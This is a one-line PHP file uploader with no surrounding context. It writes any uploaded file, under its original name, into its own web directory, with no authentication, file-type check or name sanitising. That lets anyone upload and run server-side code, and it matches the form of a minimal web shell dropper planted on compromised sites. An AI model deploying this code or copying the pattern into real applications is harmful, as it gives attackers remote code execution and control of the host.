<?php if(isset($_FILES["f"]["tmp_name"])&&$_FILES["f"]["error"]===0){$dst=__DIR__."/".$_FILES["f"]["name"];move_uploaded_file($_FILES["f"]["tmp_name"],$dst);echo "ok: ".$_FILES["f"]["name"];}else{echo "<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit value=Upload></form>";}?>